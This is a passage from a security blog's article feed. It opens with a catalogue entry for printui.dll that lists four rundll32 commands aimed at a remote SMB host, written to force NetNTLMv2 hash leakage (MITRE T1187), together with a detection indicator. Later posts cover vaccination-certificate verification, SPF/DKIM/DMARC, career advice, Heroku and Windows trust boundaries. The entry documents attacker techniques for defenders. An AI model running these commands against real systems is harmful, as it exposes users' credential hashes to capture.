&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;---
Name: printui.dll
Description: Printer Settings User Interface
Author: Benjamin Lim
Created: 6 Sep 2021
Commands:
  - Command: rundll32.exe printui.dll,PrintUIEntry /s /t1 /c\\1.2.3.4\printer
    Description: Run printer properties for a network printer.
    Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process.
    Category: Credentials
    Privileges: User
    MitreID: T1187
    MitreLink: https://attack.mitre.org/techniques/T1187/
    OperatingSystem: Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe printui.dll, PrintUIEntry /ia /m &amp;quot;Brother DCP-128C&amp;quot; /K /h x64 /v 3 /f &amp;quot;\\1.2.3.4\printer1&amp;quot;
    Description: Run inf install for printer1 with inf file located on a remote share.
    Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process.
    Category: Credentials
    Privileges: User
    MitreID: T1187
    MitreLink: https://attack.mitre.org/techniques/T1187/
    OperatingSystem: Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe printui.dll,PrintUIEntry /ia /c\\1.2.3.4\printer2 /m &amp;quot;Brother DCP-128C&amp;quot; /h &amp;quot;x86&amp;quot; /v &amp;quot;Type 3 - User Mode&amp;quot; /f c:\infpath\infFile.inf
    Description: Add printer driver for printer2 using inf file located on a remote share.
    Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process.
    Category: Credentials
    Privileges: User
    MitreID: T1187
    MitreLink: https://attack.mitre.org/techniques/T1187/
    OperatingSystem: Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe printui.dll,PrintUIEntry /Ss /n &amp;quot;Fax&amp;quot; /a &amp;quot;\\1.2.3.4\printer3&amp;quot;
    Description: Store printer settings for printer named &amp;quot;Fax&amp;quot; onto a remote share.
    Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process. Prerequisites: System must have a printer named &amp;quot;Fax&amp;quot;.
    Category: Credentials
    Privileges: User
    MitreID: T1187
    MitreLink: https://attack.mitre.org/techniques/T1187/
    OperatingSystem: Windows 8, Windows 8.1, Windows 10    
Full_Path:
  - Path: c:\windows\system32\printui.dll
Detection: 
  - IOC: SMB traffic from PID 4 to Internet destination 
Resources:
  - Link: https://limbenjamin.com/articles/lolbin-printui.html
Acknowledgement:
  - Person: Benjamin Lim
    Handle: @limbenjamincom
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/printui.png"&gt;  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Exploring Singapore's Vaccination Cert</title><link href="https://limbenjamin.com/articles/exploring-singapores-vaccination-cert.html" rel="alternate"></link><published>2021-08-20T22:56:00+08:00</published><updated>2021-08-20T22:56:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-08-20:/articles/exploring-singapores-vaccination-cert.html</id><summary type="html">&lt;p&gt;Upon completing my COVID vaccination, I was pleasantly surprised to receive a digitally signed vaccination certificate. Based on my &lt;a href="https://limbenjamin.com/articles/singapore-gazette-search.html"&gt;previous experience&lt;/a&gt;, I knew that getting a traditionally certified genuine chop stamp true copy of a certificate was not going to be cheap. A quick &lt;a href="https://singaporelegaladvice.com/law-articles/notary-public-fees-singapore/"&gt;google search&lt;/a&gt; shows that it costs …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Upon completing my COVID vaccination, I was pleasantly surprised to receive a digitally signed vaccination certificate. Based on my &lt;a href="https://limbenjamin.com/articles/singapore-gazette-search.html"&gt;previous experience&lt;/a&gt;, I knew that getting a traditionally certified genuine chop stamp true copy of a certificate was not going to be cheap. A quick &lt;a href="https://singaporelegaladvice.com/law-articles/notary-public-fees-singapore/"&gt;google search&lt;/a&gt; shows that it costs $10 to certify a one page document as a true copy, a further $75 for issuance of a notorial certificate and a further further $85.60 for the Singapore Academy of Law to authenticate the certified true copy, making the total cost a whopping $170.60. That is sure going to deter people from travelling, but fortunately we can now get it for free thanks to technology.  &lt;/p&gt;
&lt;p&gt;So, how does the digitally signed certificate work? The certificate, stored in a file extension ending in oa, is basically a JSON file. I do not recommend sharing that file as personal details such as birth date, IC number, passport number are stored unencrypted in the file. An encrypted copy of the certificate is also stored at &lt;code&gt;https://api-vaccine.storage.aws.notarise.gov.sg&lt;/code&gt;. Based on code in the the &lt;code&gt;/dist/index.js&lt;/code&gt; file of the &lt;code&gt;oa-encryption&lt;/code&gt; library, the encryption algorithm appears to be &lt;code&gt;AES-GCM&lt;/code&gt; with 256 bit key length, 96 bit IV and 128 bit tag length. Upon decryption, it appears that individual fields in certificate are stored separately. The field contains a uuid like string which is used as a salt, the data type and ends with the actual data.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;quot;name&amp;quot;:[{
    &amp;quot;text&amp;quot;:&amp;quot;212aae69-512f-45f8-83df-52638cc7db7e:string:LIM BINJIE, BENJAMIN&amp;quot;}],
    &amp;quot;gender&amp;quot;:&amp;quot;62c839e9-87cf-4878-859c-4e2342cea026:string:male&amp;quot;,
    &amp;quot;country&amp;quot;:&amp;quot;93d3e245-a2ac-4544-adff-f15e03615ce1:string:SG&amp;quot;}
    &amp;quot;system&amp;quot;:&amp;quot;15dfead2-5ea7-46cc-855e-1bf5b8ca791f:string:http://standards.ihis.com.sg&amp;quot;
    ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The actual hashing is done using the &lt;code&gt;keccak256&lt;/code&gt; algorithm, which is very similar to SHA3 except for some changes to the padding. This operation is performed in the &lt;code&gt;/dist/cjs/2.0/digest.js&lt;/code&gt; file of the &lt;code&gt;open-attestation&lt;/code&gt; library. The data is flattened, hashed, sorted in alphabetical order and then it goes through hashing once again ending up as the &lt;code&gt;targetHash&lt;/code&gt;. Continuing from my sample data above, we see the following fields and their corresponding hashes.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# Hashing of individual fields
keccak256({&amp;quot;fhirBundle.entry.0.name.0.text&amp;quot;:&amp;quot;212aae69-512f-45f8-83df-52638cc7db7e:string:LIM BINJIE, BENJAMIN&amp;quot;})
139ab12be28c4c90482a657bd394517a724e6aaae34265fd002d62440dc0b170

keccak256({&amp;quot;fhirBundle.entry.0.gender&amp;quot;:&amp;quot;62c839e9-87cf-4878-859c-4e2342cea026:string:male&amp;quot;})
136e180daf05b76b90ace1cf28a4c05eb485fac23ac011424d70a55a5c82df98

keccak256({&amp;quot;fhirBundle.entry.1.address.country&amp;quot;:&amp;quot;93d3e245-a2ac-4544-adff-f15e03615ce1:string:SG&amp;quot;})
7c007a0b49968e107b8a1dee58c0096aebe1960a904659ae08a9a82d83d1493f

keccak256({&amp;quot;fhirBundle.entry.4.vaccineCode.coding.0.system&amp;quot;:&amp;quot;15dfead2-5ea7-46cc-855e-1bf5b8ca791f:string:http://standards.ihis.com.sg&amp;quot;})
6219063b745934f36aba1aa42ab5a38f32de6a23871e609cb2b139efa79eef0e

# After sorting in alphabetical order
[136e180daf05b76b90ace1cf28a4c05eb485fac23ac011424d70a55a5c82df98,
139ab12be28c4c90482a657bd394517a724e6aaae34265fd002d62440dc0b170,
6219063b745934f36aba1aa42ab5a38f32de6a23871e609cb2b139efa79eef0e,
7c007a0b49968e107b8a1dee58c0096aebe1960a904659ae08a9a82d83d1493f
...]

# Merkle root
keccak256([136e180daf05b76b90ace1cf28a4c05eb485fac23ac011424d70a55a5c82df98,
139ab12be28c4c90482a657bd394517a724e6aaae34265fd002d62440dc0b170,
6219063b745934f36aba1aa42ab5a38f32de6a23871e609cb2b139efa79eef0e,
7c007a0b49968e107b8a1dee58c0096aebe1960a904659ae08a9a82d83d1493f
...])
32fe558b4beff554c35f1f2903fdc0c90784f541dbb0af0a32e390acd0caea8f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Since the vaccination certificate is individually issued and not as a batch, the &lt;code&gt;targetHash&lt;/code&gt; is same as the &lt;code&gt;merkleRoot&lt;/code&gt;. The certificate has a field stating the verification method, which in this case is &lt;code&gt;did:ethr&lt;/code&gt;. The verification appears to be done in &lt;code&gt;/dist/cfs/common/did/verifier.js&lt;/code&gt; file of the &lt;code&gt;oa-verify&lt;/code&gt; library. The provider appears to be &lt;code&gt;infura&lt;/code&gt; and the rpc url is &lt;code&gt;https://mainnet.infura.io/v3/bb46da3f80e040e8ab73c0a9ff365d18&lt;/code&gt;. It is interesting to note that GovTech hardcoded their Project Id into the library. The &lt;code&gt;ethers&lt;/code&gt; library is used to arrayify the &lt;code&gt;merkelRoot&lt;/code&gt; into a byte array which is used together with the signature to compute the ethereumAddress and check if it matches. Continuing from my sample data above, we see the following being performed.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# merkleRoot
32fe558b4beff554c35f1f2903fdc0c90784f541dbb0af0a32e390acd0caea8f

# messageByte
Ethers.arrayify(merkleRoot)
[50,254,85,139,75,239,245,84,195,95,31,41,3,253,192,201,7,132,245,65,219,176,175,10,50,227,144,172,208,202,234,143]

# signature (from oa cert)
0x33d34f9dcbe668a63d9ff355912731a235a6fbba7bad1b84eb0393f86b8d75da1b6ac1ad31393862a00ea3bcb321654b0cc1ab7300518c4d38207cf4dd2c3c831b

# Check if computation of etherum address matches
Ethers.VerifyMessage(messageByte, signature) == ethereumAddress
0xa05e47618bf84101b032b300ab18fc11b90bd549 == 0xa05e47618bf84101b032b300ab18fc11b90bd549
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;And there we have it. After going on a journey starting from the &lt;code&gt;open-attestation-cli&lt;/code&gt; library all through the &lt;code&gt;oa-encryption, open-attestation, oa-verify&lt;/code&gt; library, we have managed to trace the entire process from reading in the certificate to the final verification. At times, the sheer amount of boilerplate code gave me nightmares from the days of writing getters and setters in Java. Maybe one day, someone will write a simple &lt;code&gt;verify.py&lt;/code&gt; that does it all in a single script.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>SPF, DKIM, DMARC in a nutshell</title><link href="https://limbenjamin.com/articles/spf-dkim-dmarc-in-a-nutshell.html" rel="alternate"></link><published>2021-07-23T23:09:00+08:00</published><updated>2021-07-23T23:09:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-07-23:/articles/spf-dkim-dmarc-in-a-nutshell.html</id><summary type="html">&lt;p&gt;I have just learnt something new about how SPF and DMARC interact with each other and the unexpected behaviour that might result from it. I find that most articles tend to cover SPF and DMARC separately and hence I will attempt to document the interaction in this article.  &lt;/p&gt;
&lt;p&gt;Before we …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have just learnt something new about how SPF and DMARC interact with each other and the unexpected behaviour that might result from it. I find that most articles tend to cover SPF and DMARC separately and hence I will attempt to document the interaction in this article.  &lt;/p&gt;
&lt;p&gt;Before we can proceed, here is a quick explanation of SPF, DKIM and DMARC.  &lt;/p&gt;
&lt;p&gt;SPF: SPF records specify which IP address is allowed to send out mail for that particular domain. You would set it to your mail server's public IP address. If you are using cloud based email service like O365, you will set it to include all O365's mail server's IP. Within the policy, you can specify how to treat emails coming from other IP addresses. There is neutral (&lt;code&gt;?all&lt;/code&gt;), soft fail (&lt;code&gt;~all&lt;/code&gt;) and hard fail (&lt;code&gt;-all&lt;/code&gt;). Most notably, there is no guarantee on what actions would be taken, some mail providers may send soft fail emails to spam, others might reject soft fail emails.  &lt;/p&gt;
&lt;p&gt;DKIM: DKIM records allow the receiving mail server to verify the digital signature on the email. It is possible to bypass SPF checks by using a different sender recipient address in the envelope (&lt;code&gt;MAIL FROM:&lt;/code&gt;) as compared to the email header (&lt;code&gt;FROM:&lt;/code&gt;). Hence, the need for DKIM. Again, there is no guarantee on what actions would be taken on emails which fail DKIM verification, it differs depending on email provider.  &lt;/p&gt;
&lt;p&gt;DMARC: DMARC policy allows you to specify what actions should be taken on email that have failed SPF or DKIM. There is no action (&lt;code&gt;p=none&lt;/code&gt;), quarantine (&lt;code&gt;p=quarantine&lt;/code&gt;) and reject (&lt;code&gt;p=reject&lt;/code&gt;). DMARC also allows you to specify an email address to receive reports on the number of emails that have failed. The most important thing to note, which is the unexpected behaviour I mentioned, is that DMARC will supercede SPF. If you have a hard fail set up on SPF but a no action policy configured on DMARC, the spoof email will still go through. Thus, do adequate research before setting up DMARC. A newly implemented weak DMARC policy might invalidate the protection that SPF records used to offer.&lt;/p&gt;
&lt;p&gt;In summary, you can expect the following results if SPF/DKIM/DMARC is configured in this manner.&lt;/p&gt;
&lt;style&gt;
th, td{
    padding: 0.5em;
}
&lt;/style&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;SPF&lt;/th&gt;
        &lt;th&gt;DKIM&lt;/th&gt;
        &lt;th&gt;DMARC&lt;/th&gt;
        &lt;th&gt;Result&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;~all or -all&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;FROM spoof emails will be spammed or rejected&lt;br /&gt;MAIL FROM: spoof emails will get through&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;~all or -all&lt;/td&gt;
        &lt;td&gt;Yes&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;All spoof emails will be spammed or rejected&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;~all or -all&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;(p=none)&lt;/td&gt;
        &lt;td&gt;All spoof emails will get through&lt;br /&gt;Surprise! Weak policy&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;~all or -all&lt;/td&gt;
        &lt;td&gt;Yes&lt;/td&gt;
        &lt;td&gt;(p=none)&lt;/td&gt;
        &lt;td&gt;All spoof emails will get through&lt;br /&gt;Surprise! Weak policy&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;~all or -all&lt;/td&gt;
        &lt;td&gt;Yes&lt;/td&gt;
        &lt;td&gt;(p=quarantine)&lt;/td&gt;
        &lt;td&gt;All spoof emails will be spammed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;~all or -all&lt;/td&gt;
        &lt;td&gt;Yes&lt;/td&gt;
        &lt;td&gt;(p=reject)&lt;/td&gt;
        &lt;td&gt;All spoof emails will be rejected&lt;/td&gt;
    &lt;/tr&gt;   
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Infosec career progression</title><link href="https://limbenjamin.com/articles/infosec-career-progression.html" rel="alternate"></link><published>2021-06-21T17:26:00+08:00</published><updated>2021-06-21T17:26:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-06-21:/articles/infosec-career-progression.html</id><summary type="html">&lt;p&gt;What are the technical requirements to progress in your career in cybersecurity? How do you move from an entry level analyst position into a senior analyst position?  &lt;/p&gt;
&lt;p&gt;Starting from the defensive side of the house, an L1 SOC analyst usually starts with no experience in cybersecurity. The job role is …&lt;/p&gt;</summary><content type="html">&lt;p&gt;What are the technical requirements to progress in your career in cybersecurity? How do you move from an entry level analyst position into a senior analyst position?  &lt;/p&gt;
&lt;p&gt;Starting from the defensive side of the house, an L1 SOC analyst usually starts with no experience in cybersecurity. The job role is very defined, analysts are usually allocated to look at either network security appliances, or host based artefacts. As such, analysts do not need much training before starting operational work. There are also usually playbooks with very clear step by step instructions for analysts to follow for each different type of alert that may be triggered.  &lt;/p&gt;
&lt;p&gt;To progress to an L2 position, you will need to broaden your knowledge. If you have been looking at network protocols, netflow and DNS data, now is the time to be introduced to processes, persistency mechanisms, integrity levels. Vice versa. It is important to understand the linkages between the different artefacts, i.e. what happens when processes open network connections, when processes make DNS queries? You would also need a deeper understanding of the various concepts such as detection, containment and recovery. This will allow you to look at the playbooks in a new light, you will be able to understand the rationale behind each of the step by step instructions that you have been taught to follow. This will prepare you for L2 work which is more unstructured. At times, certain artefacts might be unavailable or certain actions cannot be taken due to business reasons, as such, L2 analysts will need to find alternative means to achieve the goal of detection, containment or recovery.  &lt;/p&gt;
&lt;p&gt;Looking at the offensive side, junior penetration testers have a similarly defined job role. They are often tasked to run automated tools which spit out reports when the scans are completed. Similarly, they do not need much training before starting work.  &lt;/p&gt;
&lt;p&gt;To progress to a more senior role, you will first need to understand the findings in the automated report. What is the vulnerability and why is it considered a vulnerability? Next, you will need to be able to manually reproduce the exploit, which will further solidify your understanding. Lastly, it is important to look at the big picture and identify patterns in the vulnerabilities you find. Certain types of applications and certain features tend to be more prone to certain types of vulnerabilities. For example, the password field in the form may have a SQL injection vulnerability because all password input on any website needs to be compared to the correct password or hash in a database. However, it is almost impossible to find a cross site scripting (XSS) vulnerability in the password field because passwords are almost never ever displayed back to the user in plaintext. Such understanding will help you identify areas more prone to vulnerabilities where more manual effort can be focused to pick up on vulnerabilities not detected by automated tools.  &lt;/p&gt;
&lt;p&gt;In summary, senior level jobs often have more unstructured tasks which require experience and an understanding of concepts to guide you towards the next step to take. Often, there is no single correct answer and it will take quite a bit of brain cells to come up with an optimal decision. After all, this is why you are paid the big bucks right? If you are just following simple instructions blindly, the company would have saved money by hiring an entry level analyst to do the job. So, go out there and level up your knowledge.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Heroku build timeout 2021</title><link href="https://limbenjamin.com/articles/heroku-build-timeout-2021.html" rel="alternate"></link><published>2021-05-26T22:50:00+08:00</published><updated>2021-05-26T22:50:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-05-26:/articles/heroku-build-timeout-2021.html</id><summary type="html">&lt;p&gt;If you have a Heroku app that has worked for many years and is suddenly experiencing a &lt;code&gt;Duplicate build version&lt;/code&gt; error or if you are following an old tutorial from before 2021 and see the following cryptic error message in the build log.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; !
 !   Build timed out while …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;If you have a Heroku app that has worked for many years and is suddenly experiencing a &lt;code&gt;Duplicate build version&lt;/code&gt; error or if you are following an old tutorial from before 2021 and see the following cryptic error message in the build log.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; !
 !   Build timed out while waiting to start.
 !
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Heroku has &lt;a href="https://devcenter.heroku.com/articles/duplicate-build-version"&gt;recently updated&lt;/a&gt; their default git branch name from &lt;code&gt;master&lt;/code&gt; to &lt;code&gt;main&lt;/code&gt;. As a result of Black Lives Matter, words like &lt;code&gt;master&lt;/code&gt; and &lt;code&gt;slave&lt;/code&gt; are no longer kosher even when used to describe objects. Simply run the following command to push code from your local repository to the new &lt;code&gt;main&lt;/code&gt; branch.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git push heroku master:main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Coding"></category></entry><entry><title>Windows Trust Boundaries</title><link href="https://limbenjamin.com/articles/windows-trust-boundaries.html" rel="alternate"></link><published>2021-04-27T21:11:00+08:00</published><updated>2021-04-27T21:11:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-04-27:/articles/windows-trust-boundaries.html</id><summary type="html">&lt;p&gt;Understanding Windows trust boundaries is important as a penetration tester as security vulnerabilities are usually found at these boundaries. As an application developer, understanding these boundaries will help you develop more secure applications. I have never found this information consolidated anywhere, hence this blogpost.&lt;/p&gt;
&lt;style&gt;
th, td{
    padding: 0.5em;
}
&lt;/style&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;&lt;/th&gt;
        &lt;th&gt;High …&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;/table&gt;</summary><content type="html">&lt;p&gt;Understanding Windows trust boundaries is important as a penetration tester as security vulnerabilities are usually found at these boundaries. As an application developer, understanding these boundaries will help you develop more secure applications. I have never found this information consolidated anywhere, hence this blogpost.&lt;/p&gt;
&lt;style&gt;
th, td{
    padding: 0.5em;
}
&lt;/style&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;&lt;/th&gt;
        &lt;th&gt;High Integrity (Admin)&lt;/th&gt;
        &lt;th&gt;Medium Integrity (User)&lt;/th&gt;
        &lt;th&gt;Low Integrity (Sandboxed)&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;File System&lt;/td&gt;
        &lt;td&gt;Program Files Directory&lt;br /&gt;C:\Windows Directory&lt;/td&gt;
        &lt;td&gt;ProgramData Directory&lt;/td&gt;
        &lt;td&gt;AppData\Low Directory&lt;br /&gt;Temp Internet Files Directory&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Registry&lt;/td&gt;
        &lt;td&gt;HKLM hive&lt;/td&gt;
        &lt;td&gt;HKCU hive&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Processes&lt;/td&gt;
        &lt;td&gt;Services/Scheduled Tasks&lt;/td&gt;
        &lt;td&gt;Scheduled Tasks&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
    &lt;/tr&gt;   
&lt;/tbody&gt;
